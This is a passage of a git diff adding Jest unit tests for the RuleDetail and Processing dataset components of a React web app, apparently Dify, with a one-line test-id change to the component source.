+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<RuleDetail />)
+
+      // Assert
+      const fieldInfos = screen.getAllByTestId('field-info')
+      expect(fieldInfos).toHaveLength(3)
+    })
+
+    it('should render three FieldInfo components', () => {
+      // Arrange
+      const sourceData = createMockProcessRule()
+
+      // Act
+      render(
+        <RuleDetail
+          sourceData={sourceData}
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.semantic}
+        />,
+      )
+
+      // Assert
+      const fieldInfos = screen.getAllByTestId('field-info')
+      expect(fieldInfos).toHaveLength(3)
+    })
+
+    it('should render mode field with correct label', () => {
+      // Arrange & Act
+      render(<RuleDetail />)
+
+      // Assert - first field-info is for mode
+      const fieldInfos = screen.getAllByTestId('field-info')
+      expect(fieldInfos[0]).toHaveAttribute('data-label', 'datasetDocuments.embedding.mode')
+    })
+  })
+
+  // ==========================================
+  // Mode Value Tests
+  // ==========================================
+  describe('Mode Value', () => {
+    it('should show "-" when sourceData is undefined', () => {
+      // Arrange & Act
+      render(<RuleDetail />)
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[0]).toHaveTextContent('-')
+    })
+
+    it('should show "-" when sourceData.mode is undefined', () => {
+      // Arrange
+      const sourceData = { ...createMockProcessRule(), mode: undefined as unknown as ProcessMode }
+
+      // Act
+      render(<RuleDetail sourceData={sourceData} />)
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[0]).toHaveTextContent('-')
+    })
+
+    it('should show custom mode text when mode is general', () => {
+      // Arrange
+      const sourceData = createMockProcessRule({ mode: ProcessMode.general })
+
+      // Act
+      render(<RuleDetail sourceData={sourceData} />)
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[0]).toHaveTextContent('datasetDocuments.embedding.custom')
+    })
+
+    it('should show hierarchical mode with paragraph parent mode', () => {
+      // Arrange
+      const sourceData = createMockProcessRule({
+        mode: ProcessMode.parentChild,
+        rules: {
+          pre_processing_rules: [],
+          segmentation: { separator: '\n', max_tokens: 500, chunk_overlap: 50 },
+          parent_mode: 'paragraph',
+          subchunk_segmentation: { separator: '\n', max_tokens: 200, chunk_overlap: 20 },
+        },
+      })
+
+      // Act
+      render(<RuleDetail sourceData={sourceData} />)
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[0]).toHaveTextContent('datasetDocuments.embedding.hierarchical · dataset.parentMode.paragraph')
+    })
+
+    it('should show hierarchical mode with full-doc parent mode', () => {
+      // Arrange
+      const sourceData = createMockProcessRule({
+        mode: ProcessMode.parentChild,
+        rules: {
+          pre_processing_rules: [],
+          segmentation: { separator: '\n', max_tokens: 500, chunk_overlap: 50 },
+          parent_mode: 'full-doc',
+          subchunk_segmentation: { separator: '\n', max_tokens: 200, chunk_overlap: 20 },
+        },
+      })
+
+      // Act
+      render(<RuleDetail sourceData={sourceData} />)
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[0]).toHaveTextContent('datasetDocuments.embedding.hierarchical · dataset.parentMode.fullDoc')
+    })
+  })
+
+  // ==========================================
+  // Indexing Type Tests
+  // ==========================================
+  describe('Indexing Type', () => {
+    it('should show qualified indexing type', () => {
+      // Arrange & Act
+      render(<RuleDetail indexingType={IndexingType.QUALIFIED} />)
+
+      // Assert
+      const fieldInfos = screen.getAllByTestId('field-info')
+      expect(fieldInfos[1]).toHaveAttribute('data-label', 'datasetCreation.stepTwo.indexMode')
+
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[1]).toHaveTextContent('datasetCreation.stepTwo.qualified')
+    })
+
+    it('should show economical indexing type', () => {
+      // Arrange & Act
+      render(<RuleDetail indexingType={IndexingType.ECONOMICAL} />)
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[1]).toHaveTextContent('datasetCreation.stepTwo.economical')
+    })
+
+    it('should show high_quality icon for qualified indexing', () => {
+      // Arrange & Act
+      render(<RuleDetail indexingType={IndexingType.QUALIFIED} />)
+
+      // Assert
+      const images = screen.getAllByTestId('next-image')
+      expect(images[0]).toHaveAttribute('src', '/icons/high_quality.svg')
+    })
+
+    it('should show economical icon for economical indexing', () => {
+      // Arrange & Act
+      render(<RuleDetail indexingType={IndexingType.ECONOMICAL} />)
+
+      // Assert
+      const images = screen.getAllByTestId('next-image')
+      expect(images[0]).toHaveAttribute('src', '/icons/economical.svg')
+    })
+  })
+
+  // ==========================================
+  // Retrieval Method Tests
+  // ==========================================
+  describe('Retrieval Method', () => {
+    it('should show retrieval setting label', () => {
+      // Arrange & Act
+      render(<RuleDetail retrievalMethod={RETRIEVE_METHOD.semantic} />)
+
+      // Assert
+      const fieldInfos = screen.getAllByTestId('field-info')
+      expect(fieldInfos[2]).toHaveAttribute('data-label', 'datasetSettings.form.retrievalSetting.title')
+    })
+
+    it('should show semantic search title for qualified indexing with semantic method', () => {
+      // Arrange & Act
+      render(
+        <RuleDetail
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.semantic}
+        />,
+      )
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[2]).toHaveTextContent('dataset.retrieval.semantic_search.title')
+    })
+
+    it('should show full text search title for fullText method', () => {
+      // Arrange & Act
+      render(
+        <RuleDetail
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.fullText}
+        />,
+      )
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[2]).toHaveTextContent('dataset.retrieval.full_text_search.title')
+    })
+
+    it('should show hybrid search title for hybrid method', () => {
+      // Arrange & Act
+      render(
+        <RuleDetail
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.hybrid}
+        />,
+      )
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[2]).toHaveTextContent('dataset.retrieval.hybrid_search.title')
+    })
+
+    it('should force keyword_search for economical indexing type', () => {
+      // Arrange & Act
+      render(
+        <RuleDetail
+          indexingType={IndexingType.ECONOMICAL}
+          retrievalMethod={RETRIEVE_METHOD.semantic}
+        />,
+      )
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[2]).toHaveTextContent('dataset.retrieval.keyword_search.title')
+    })
+
+    it('should show vector icon for semantic search', () => {
+      // Arrange & Act
+      render(
+        <RuleDetail
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.semantic}
+        />,
+      )
+
+      // Assert
+      const images = screen.getAllByTestId('next-image')
+      expect(images[1]).toHaveAttribute('src', '/icons/vector.svg')
+    })
+
+    it('should show fullText icon for full text search', () => {
+      // Arrange & Act
+      render(
+        <RuleDetail
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.fullText}
+        />,
+      )
+
+      // Assert
+      const images = screen.getAllByTestId('next-image')
+      expect(images[1]).toHaveAttribute('src', '/icons/fullText.svg')
+    })
+
+    it('should show hybrid icon for hybrid search', () => {
+      // Arrange & Act
+      render(
+        <RuleDetail
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.hybrid}
+        />,
+      )
+
+      // Assert
+      const images = screen.getAllByTestId('next-image')
+      expect(images[1]).toHaveAttribute('src', '/icons/hybrid.svg')
+    })
+  })
+
+  // ==========================================
+  // Edge Cases
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle all props undefined', () => {
+      // Arrange & Act
+      render(<RuleDetail />)
+
+      // Assert
+      expect(screen.getAllByTestId('field-info')).toHaveLength(3)
+    })
+
+    it('should handle undefined indexingType with defined retrievalMethod', () => {
+      // Arrange & Act
+      render(<RuleDetail retrievalMethod={RETRIEVE_METHOD.hybrid} />)
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      // When indexingType is undefined, it's treated as qualified
+      expect(fieldValues[1]).toHaveTextContent('datasetCreation.stepTwo.qualified')
+    })
+
+    it('should handle undefined retrievalMethod with defined indexingType', () => {
+      // Arrange & Act
+      render(<RuleDetail indexingType={IndexingType.QUALIFIED} />)
+
+      // Assert
+      const images = screen.getAllByTestId('next-image')
+      // When retrievalMethod is undefined, vector icon is used as default
+      expect(images[1]).toHaveAttribute('src', '/icons/vector.svg')
+    })
+
+    it('should handle sourceData with null rules', () => {
+      // Arrange
+      const sourceData = {
+        ...createMockProcessRule(),
+        mode: ProcessMode.parentChild,
+        rules: null as unknown as ProcessRuleResponse['rules'],
+      }
+
+      // Act & Assert - should not crash
+      render(<RuleDetail sourceData={sourceData} />)
+      expect(screen.getAllByTestId('field-info')).toHaveLength(3)
+    })
+  })
+
+  // ==========================================
+  // Props Variations Tests
+  // ==========================================
+  describe('Props Variations', () => {
+    it('should render correctly with all props provided', () => {
+      // Arrange
+      const sourceData = createMockProcessRule({ mode: ProcessMode.general })
+
+      // Act
+      render(
+        <RuleDetail
+          sourceData={sourceData}
+          indexingType={IndexingType.QUALIFIED}
+          retrievalMethod={RETRIEVE_METHOD.semantic}
+        />,
+      )
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[0]).toHaveTextContent('datasetDocuments.embedding.custom')
+      expect(fieldValues[1]).toHaveTextContent('datasetCreation.stepTwo.qualified')
+      expect(fieldValues[2]).toHaveTextContent('dataset.retrieval.semantic_search.title')
+    })
+
+    it('should render correctly for economical mode with full settings', () => {
+      // Arrange
+      const sourceData = createMockProcessRule({ mode: ProcessMode.parentChild })
+
+      // Act
+      render(
+        <RuleDetail
+          sourceData={sourceData}
+          indexingType={IndexingType.ECONOMICAL}
+          retrievalMethod={RETRIEVE_METHOD.fullText}
+        />,
+      )
+
+      // Assert
+      const fieldValues = screen.getAllByTestId('field-value')
+      expect(fieldValues[1]).toHaveTextContent('datasetCreation.stepTwo.economical')
+      // Economical always uses keyword_search regardless of retrievalMethod
+      expect(fieldValues[2]).toHaveTextContent('dataset.retrieval.keyword_search.title')
+    })
+  })
+
+  // ==========================================
+  // Memoization Tests
+  // ==========================================
+  describe('Memoization', () => {
+    it('should be wrapped in React.memo', () => {
+      // Assert - RuleDetail should be a memoized component
+      expect(RuleDetail).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+
+    it('should not re-render with same props', () => {
+      // Arrange
+      const sourceData = createMockProcessRule()
+      const props = {
+        sourceData,
+        indexingType: IndexingType.QUALIFIED,
+        retrievalMethod: RETRIEVE_METHOD.semantic,
+      }
+
+      // Act
+      const { rerender } = render(<RuleDetail {...props} />)
+      rerender(<RuleDetail {...props} />)
+
+      // Assert - component renders correctly after rerender
+      expect(screen.getAllByTestId('field-info')).toHaveLength(3)
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/rule-detail.tsx b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/rule-detail.tsx
index c8b1375069..39c10761cb 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/rule-detail.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/processing/embedding-process/rule-detail.tsx
@@ -39,7 +39,7 @@ const RuleDetail = ({
   }, [sourceData, t])
 
   return (
-    <div className='flex flex-col gap-1'>
+    <div className='flex flex-col gap-1' data-testid='rule-detail'>
       <FieldInfo
         label={t('datasetDocuments.embedding.mode')}
         displayedValue={getValue('mode')}
diff --git a/web/app/components/datasets/documents/create-from-pipeline/processing/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/processing/index.spec.tsx
new file mode 100644
index 0000000000..7a051ad325
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/processing/index.spec.tsx
@@ -0,0 +1,808 @@
+import { render, screen } from '@testing-library/react'
+import React from 'react'
+import Processing from './index'
+import type { InitialDocumentDetail } from '@/models/pipeline'
+import { DatasourceType } from '@/models/pipeline'
+import type { DocumentIndexingStatus } from '@/models/datasets'
+
+// ==========================================
+// Mock External Dependencies
+// ==========================================
+
+// Mock react-i18next (handled by __mocks__/react-i18next.ts but we override for custom messages)
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}))
+
+// Mock useDocLink - returns a function that generates doc URLs
+// Strips leading slash from path to match actual implementation behavior
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => (path?: string) => {
+    const normalizedPath = path?.startsWith('/') ? path.slice(1) : (path || '')
+    return `https://docs.dify.ai/en-US/${normalizedPath}`
+  },
+}))
+
+// Mock dataset detail context
+let mockDataset: {
+  id?: string
+  indexing_technique?: string
+  retrieval_model_dict?: { search_method?: string }
+} | undefined
+
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: <T,>(selector: (state: { dataset?: typeof mockDataset }) => T): T => {
+    return selector({ dataset: mockDataset })
+  },
+}))
+
+// Mock the EmbeddingProcess component to track props
+let embeddingProcessProps: Record<string, unknown> = {}
+jest.mock('./embedding-process', () => ({
+  __esModule: true,
+  default: (props: Record<string, unknown>) => {
+    embeddingProcessProps = props
+    return (
+      <div data-testid="embedding-process">
+        <span data-testid="ep-dataset-id">{props.datasetId as string}</span>
+        <span data-testid="ep-batch-id">{props.batchId as string}</span>
+        <span data-testid="ep-documents-count">{(props.documents as unknown[])?.length ?? 0}</span>
+        <span data-testid="ep-indexing-type">{props.indexingType as string || 'undefined'}</span>
+        <span data-testid="ep-retrieval-method">{props.retrievalMethod as string || 'undefined'}</span>
+      </div>
+    )
+  },
+}))
+
+// ==========================================
+// Test Data Factory Functions
+// ==========================================
+
+/**
+ * Creates a mock InitialDocumentDetail for testing
+ * Uses deterministic counter-based IDs to avoid flaky tests
+ */
+let documentIdCounter = 0
+const createMockDocument = (overrides: Partial<InitialDocumentDetail> = {}): InitialDocumentDetail => ({
+  id: overrides.id ?? `doc-${++documentIdCounter}`,
+  name: 'test-document.txt',
+  data_source_type: DatasourceType.localFile,
+  data_source_info: {},
+  enable: true,
+  error: '',
+  indexing_status: 'waiting' as DocumentIndexingStatus,
+  position: 0,
+  ...overrides,
+})
+
+/**
+ * Creates a list of mock documents
+ */
+const createMockDocuments = (count: number): InitialDocumentDetail[] =>
+  Array.from({ length: count }, (_, index) =>
+    createMockDocument({
+      id: `doc-${index + 1}`,
+      name: `document-${index + 1}.txt`,
+      position: index,
+    }),
+  )
+
+// ==========================================
+// Test Suite
+// ==========================================
+
+describe('Processing', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    embeddingProcessProps = {}
+    // Reset deterministic ID counter for reproducible tests
+    documentIdCounter = 0
+    // Reset mock dataset with default values
+    mockDataset = {
+      id: 'dataset-123',
+      indexing_technique: 'high_quality',
+      retrieval_model_dict: { search_method: 'semantic_search' },
+    }
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    // Tests basic rendering functionality
+    it('should render without crashing', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(2),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+    })
+
+    it('should render the EmbeddingProcess component', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-456',
+        documents: createMockDocuments(3),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+    })
+
+    it('should render the side tip section with correct content', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert - verify translation keys are rendered
+      expect(screen.getByText('datasetCreation.stepThree.sideTipTitle')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.sideTipContent')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.addDocuments.stepThree.learnMore')).toBeInTheDocument()
+    })
+
+    it('should render the documentation link with correct attributes', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      const link = screen.getByRole('link', { name: 'datasetPipeline.addDocuments.stepThree.learnMore' })
+      expect(link).toHaveAttribute('href', 'https://docs.dify.ai/en-US/guides/knowledge-base/integrate-knowledge-within-application')
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noreferrer noopener')
+    })
+
+    it('should render the book icon in the side tip', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      const { container } = render(<Processing {...props} />)
+
+      // Assert - check for icon container with shadow styling
+      const iconContainer = container.querySelector('.shadow-lg.shadow-shadow-shadow-5')
+      expect(iconContainer).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    // Tests that props are correctly passed to child components
+    it('should pass batchId to EmbeddingProcess', () => {
+      // Arrange
+      const testBatchId = 'test-batch-id-789'
+      const props = {
+        batchId: testBatchId,
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-batch-id')).toHaveTextContent(testBatchId)
+      expect(embeddingProcessProps.batchId).toBe(testBatchId)
+    })
+
+    it('should pass documents to EmbeddingProcess', () => {
+      // Arrange
+      const documents = createMockDocuments(5)
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-documents-count')).toHaveTextContent('5')
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+
+    it('should pass datasetId from context to EmbeddingProcess', () => {
+      // Arrange
+      mockDataset = {
+        id: 'context-dataset-id',
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: { search_method: 'semantic_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-dataset-id')).toHaveTextContent('context-dataset-id')
+      expect(embeddingProcessProps.datasetId).toBe('context-dataset-id')
+    })
+
+    it('should pass indexingType from context to EmbeddingProcess', () => {
+      // Arrange
+      mockDataset = {
+        id: 'dataset-123',
+        indexing_technique: 'economy',
+        retrieval_model_dict: { search_method: 'semantic_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-indexing-type')).toHaveTextContent('economy')
+      expect(embeddingProcessProps.indexingType).toBe('economy')
+    })
+
+    it('should pass retrievalMethod from context to EmbeddingProcess', () => {
+      // Arrange
+      mockDataset = {
+        id: 'dataset-123',
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: { search_method: 'keyword_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-retrieval-method')).toHaveTextContent('keyword_search')
+      expect(embeddingProcessProps.retrievalMethod).toBe('keyword_search')
+    })
+
+    it('should handle different document types', () => {
+      // Arrange
+      const documents = [
+        createMockDocument({
+          id: 'doc-local',
+          name: 'local-file.pdf',
+          data_source_type: DatasourceType.localFile,
+        }),
+        createMockDocument({
+          id: 'doc-online',
+          name: 'online-doc',
+          data_source_type: DatasourceType.onlineDocument,
+        }),
+        createMockDocument({
+          id: 'doc-website',
+          name: 'website-page',
+          data_source_type: DatasourceType.websiteCrawl,
+        }),
+      ]
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-documents-count')).toHaveTextContent('3')
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+  })
+
+  // ==========================================
+  // Edge Cases
+  // ==========================================
+  describe('Edge Cases', () => {
+    // Tests for boundary conditions and unusual inputs
+    it('should handle empty documents array', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: [],
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(screen.getByTestId('ep-documents-count')).toHaveTextContent('0')
+      expect(embeddingProcessProps.documents).toEqual([])
+    })
+
+    it('should handle empty batchId', () => {
+      // Arrange
+      const props = {
+        batchId: '',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(screen.getByTestId('ep-batch-id')).toHaveTextContent('')
+    })
+
+    it('should handle undefined dataset from context', () => {
+      // Arrange
+      mockDataset = undefined
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.datasetId).toBeUndefined()
+      expect(embeddingProcessProps.indexingType).toBeUndefined()
+      expect(embeddingProcessProps.retrievalMethod).toBeUndefined()
+    })
+
+    it('should handle dataset with undefined id', () => {
+      // Arrange
+      mockDataset = {
+        id: undefined,
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: { search_method: 'semantic_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.datasetId).toBeUndefined()
+    })
+
+    it('should handle dataset with undefined indexing_technique', () => {
+      // Arrange
+      mockDataset = {
+        id: 'dataset-123',
+        indexing_technique: undefined,
+        retrieval_model_dict: { search_method: 'semantic_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.indexingType).toBeUndefined()
+    })
+
+    it('should handle dataset with undefined retrieval_model_dict', () => {
+      // Arrange
+      mockDataset = {
+        id: 'dataset-123',
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: undefined,
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.retrievalMethod).toBeUndefined()
+    })
+
+    it('should handle dataset with empty retrieval_model_dict', () => {
+      // Arrange
+      mockDataset = {
+        id: 'dataset-123',
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: {},
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.retrievalMethod).toBeUndefined()
+    })
+
+    it('should handle large number of documents', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(100),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(screen.getByTestId('ep-documents-count')).toHaveTextContent('100')
+    })
+
+    it('should handle documents with error status', () => {
+      // Arrange
+      const documents = [
+        createMockDocument({
+          id: 'doc-error',
+          name: 'error-doc.txt',
+          error: 'Processing failed',
+          indexing_status: 'error' as DocumentIndexingStatus,
+        }),
+      ]
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+
+    it('should handle documents with special characters in names', () => {
+      // Arrange
+      const documents = [
+        createMockDocument({
+          id: 'doc-special',
+          name: 'document with spaces & special-chars_测试.pdf',
+        }),
+      ]
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+
+    it('should handle batchId with special characters', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123-abc_xyz:456',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-batch-id')).toHaveTextContent('batch-123-abc_xyz:456')
+    })
+  })
+
+  // ==========================================
+  // Context Integration Tests
+  // ==========================================
+  describe('Context Integration', () => {
+    // Tests for proper context usage
+    it('should correctly use context selectors for all dataset properties', () => {
+      // Arrange
+      mockDataset = {
+        id: 'full-dataset-id',
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: { search_method: 'hybrid_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(embeddingProcessProps.datasetId).toBe('full-dataset-id')
+      expect(embeddingProcessProps.indexingType).toBe('high_quality')
+      expect(embeddingProcessProps.retrievalMethod).toBe('hybrid_search')
+    })
+
+    it('should handle context changes with different indexing techniques', () => {
+      // Arrange - Test with economy indexing
+      mockDataset = {
+        id: 'dataset-economy',
+        indexing_technique: 'economy',
+        retrieval_model_dict: { search_method: 'keyword_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      const { rerender } = render(<Processing {...props} />)
+
+      // Assert economy indexing
+      expect(embeddingProcessProps.indexingType).toBe('economy')
+
+      // Arrange - Update to high_quality
+      mockDataset = {
+        id: 'dataset-hq',
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: { search_method: 'semantic_search' },
+      }
+
+      // Act - Rerender with new context
+      rerender(<Processing {...props} />)
+
+      // Assert high_quality indexing
+      expect(embeddingProcessProps.indexingType).toBe('high_quality')
+    })
+  })
+
+  // ==========================================
+  // Layout Tests
+  // ==========================================
+  describe('Layout', () => {
+    // Tests for proper layout and structure
+    it('should render with correct layout structure', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      const { container } = render(<Processing {...props} />)
+
+      // Assert - Check for flex layout with proper widths
+      const mainContainer = container.querySelector('.flex.h-full.w-full.justify-center')
+      expect(mainContainer).toBeInTheDocument()
+
+      // Check for left panel (3/5 width)
+      const leftPanel = container.querySelector('.w-3\\/5')
+      expect(leftPanel).toBeInTheDocument()
+
+      // Check for right panel (2/5 width)
+      const rightPanel = container.querySelector('.w-2\\/5')
+      expect(rightPanel).toBeInTheDocument()
+    })
+
+    it('should render side tip card with correct styling', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      const { container } = render(<Processing {...props} />)
+
+      // Assert - Check for card container with rounded corners and background
+      const sideTipCard = container.querySelector('.rounded-xl.bg-background-section')
+      expect(sideTipCard).toBeInTheDocument()
+    })
+
+    it('should constrain max-width for EmbeddingProcess container', () => {
+      // Arrange
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      const { container } = render(<Processing {...props} />)
+
+      // Assert
+      const maxWidthContainer = container.querySelector('.max-w-\\[640px\\]')
+      expect(maxWidthContainer).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Document Variations Tests
+  // ==========================================
+  describe('Document Variations', () => {
+    // Tests for different document configurations
+    it('should handle documents with all indexing statuses', () => {
+      // Arrange
+      const statuses: DocumentIndexingStatus[] = [
+        'waiting',
+        'parsing',
+        'cleaning',
+        'splitting',
+        'indexing',
+        'paused',
+        'error',
+        'completed',
+      ]
+      const documents = statuses.map((status, index) =>
+        createMockDocument({
+          id: `doc-${status}`,
+          name: `${status}-doc.txt`,
+          indexing_status: status,
+          position: index,
+        }),
+      )
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-documents-count')).toHaveTextContent(String(statuses.length))
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+
+    it('should handle documents with enabled and disabled states', () => {
+      // Arrange
+      const documents = [
+        createMockDocument({ id: 'doc-enabled', enable: true }),
+        createMockDocument({ id: 'doc-disabled', enable: false }),
+      ]
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('ep-documents-count')).toHaveTextContent('2')
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+
+    it('should handle documents from online drive source', () => {
+      // Arrange
+      const documents = [
+        createMockDocument({
+          id: 'doc-drive',
+          name: 'google-drive-doc',
+          data_source_type: DatasourceType.onlineDrive,
+          data_source_info: { provider: 'google_drive' },
+        }),
+      ]
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('embedding-process')).toBeInTheDocument()
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+
